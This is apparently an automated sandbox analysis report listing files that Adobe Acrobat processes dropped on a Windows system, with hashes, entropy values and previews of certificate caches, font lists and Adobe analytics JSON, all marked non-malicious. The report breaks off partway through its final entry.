Preview:	2025/01/10-16:44:03.195 720 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:44:03.239 720 Recovering log #3.2025/01/10-16:44:03.244 720 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklBPNllltfllXlE/HT8kottNNX8RolJuRdxLlGB9lQRYwpDdt:kK+l/eT89VNMa8RdWBwRd
MD5:	D606F1F5B0D818D7C86D7BF1F73EFA57
SHA1:	2A29ABE1D1BF052622C1CF15CD59021CF7EDC68B
SHA-256:	889F6ABA5F5032782E44764150ACE7B8FD8508488E2C7276AE8A268E925BF543
SHA-512:	E87033E2426CB2C886A6809B2BF1D95EF9845AB983BE41502C48B475E7D9140FBE20629BCD873BD6F6C516F6CC63C5F6B42FB9B7B2475A38E59401D04A57D6EA
Malicious:	false
Preview:	p...... ..........l.c..(....................................................... ..........W....u...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKHuCkPL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/uPiDnLNkPlE99SNxAhUe/3
MD5:	C8C8B274680C0BA53F15EF35CCFF5428
SHA1:	92250824BB3AB8A2D2BCFA26ECE86C602C3E35AC
SHA-256:	6E276314D2C0B9F6E51D86648B4AC681D53FFACC9628268962B8FF77363AC77E
SHA-512:	38539D2885CA576696A980A9B79871918136C815D2161324B0F52E83FA3E995F7A85D14B8CEE10A86C97A54D013BA5BDD0FB2ED8A1CCBC7A889F8CBE680669DC
Malicious:	false
Preview:	p...... ............c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8068

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8068

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3294246908537595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJM3g98kUwPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGMbLUk3
MD5:	78DCF7AF8E262E5C1001C212E49037FB
SHA1:	832DF57D00CD6775846D32435D289D47B2E5B09A
SHA-256:	865758ACA6472130B93848E119D8FA21807A9EB9FF4C89138F0D7CDDF6CDF91C
SHA-512:	B92E648AA7D8E7F9D6275F39B32527D93C8281CEE02893EE957C8AE12946BC2D2D9F615B92869D3B34AD0B8485DD3D0DA7D76818A8B6DB72292FAA4BE64070F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264570069715091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfBoTfXpnrPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGWTfXcZ
MD5:	28841004594A540030C198F49ADB9A03
SHA1:	2C7335C37D87960B84AB34405F3298C65B1FAB1C
SHA-256:	EEADEB3BC9850F9674F3F03D8EE6E7D07A01E01F89A49963484BFB9DDE575259
SHA-512:	E49BD1E7E26DC6781589A3D1240286C96279D7DCF5645AE788F14FAEB27970617A2C6BA8B130431397D9B6BC0DCCBB58F6F02817604199E0B110761166DDBBF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.244056638852492
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfBD2G6UpnrPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGR22cUU
MD5:	646568983873F92FF9455982D7DD3258
SHA1:	F9D1F3B293EA7502D20BEC9EB4F6EE721A27765C
SHA-256:	66B3BDF4DD6B809FC677BA2DE93E1D58FA5A14B56401E07757DAADF4FE0BFB60
SHA-512:	D46F82B8E253D6CD7E33F1F02738BF7199696A1488E49F2A6A98D9EB2DEB0FC779CDCFDC6A4CACAE77E738F0C98F72559B270CFDBCF2537004A0DA143E9AE249
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.305182405979286
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfPmwrPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGH56Uk3
MD5:	801F50E57B00304342A388D8914470B2
SHA1:	389F19FD97AA8AB92B27F302DBEC490725DB2606
SHA-256:	681A788E832237EA70D1371228F755523D7CA3434E63DB47CD2E3561055ECE61
SHA-512:	53B64697360FC9B48E45E774BE35D529A38E771EC1690409E3C88C03D7BCA2B8CFE3D2C00D3FE3AA39C6BC4CA4C063DCD0DE7B7D88B715ACA3BC352B7E215780
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686247660901701
Encrypted:	false
SSDEEP:	24:Yv6XBU0ASUaJh/pLgE9cQx8LennAvzBvkn0RCmK8czOCCSg6:YvEvuaJh/hgy6SAFv5Ah8cv/N
MD5:	E254EEA95BC2F4ABACCF9B52BF254CD1
SHA1:	75E09A4C81A6D86BBDDF6467FE5DECD8179E5814
SHA-256:	5DE42FDCBDA4A54FC54B8B0A1B992DDA986F314BCF1092E2944FDA420311C0D4
SHA-512:	74834BAF17674FAE3A3BFB98152E08F85D583F45F0E125690520C75B01C9985F57E4AAB7DC427639A2434DAC038A7D322FEDB377EAE9A1737C2A54234B2AE7EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.252884590227211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJf8dPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGU8Uke6
MD5:	EDC3350918409FBA83BF49DE25F42153
SHA1:	1D7FF2D896143B199AE243E3CE73FCC2D00EBE7E
SHA-256:	3C33BDECE64219B7A22771FABDB217BDDB632107C5ADF5388AD018AA40EE3E6F
SHA-512:	AA131B66950BD9FF2A654AFF192B8A156D1A1ECABEEA42E6FD238E79812F7E0B2683733D84D7FE7F62AF3708277C5D7CD4982D317B064799EA5712CAF32CDD19
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.25232224702652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfQ1rPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGY16Uk3
MD5:	B8946111E6BFDE9DF757505551441BF8
SHA1:	B99EF8B1A156863A5E717E66ED10126410996576
SHA-256:	A84285C69C9F88D9B2FBF7AE7E942303A8B48AF32D65624FB0D9F918EB6FAD36
SHA-512:	138CDAADE802E08BB21F7462F353A0CDE362182C1B07308051954C199C4B60E05EF3B22E12E27EB331712CAA136C87911F4E5A55ED8B450192A9045F877790EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26629631248736
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfFldPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGz8Uke6
MD5:	63CAE62D453E59667DCF1FECE00CE81A
SHA1:	653ECEF684B924A6D55FEE99B756900AE29B4C77
SHA-256:	4BADA912D794401F51629E576A7BBBB9EC184330ECACADE7BA97A31153CCB218
SHA-512:	535F58A4670DE78F6E570279DA026BEFC6B1E14736A947B7E25E026D6D371CBF259B73E017E917BBDFA170FEB5ED1172B646AE42449C3EE77A362F123B4A9760
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.280298796382857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfzdPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGb8Uke6
MD5:	ABB7EEF0C54FE055E2E9F53946746D64
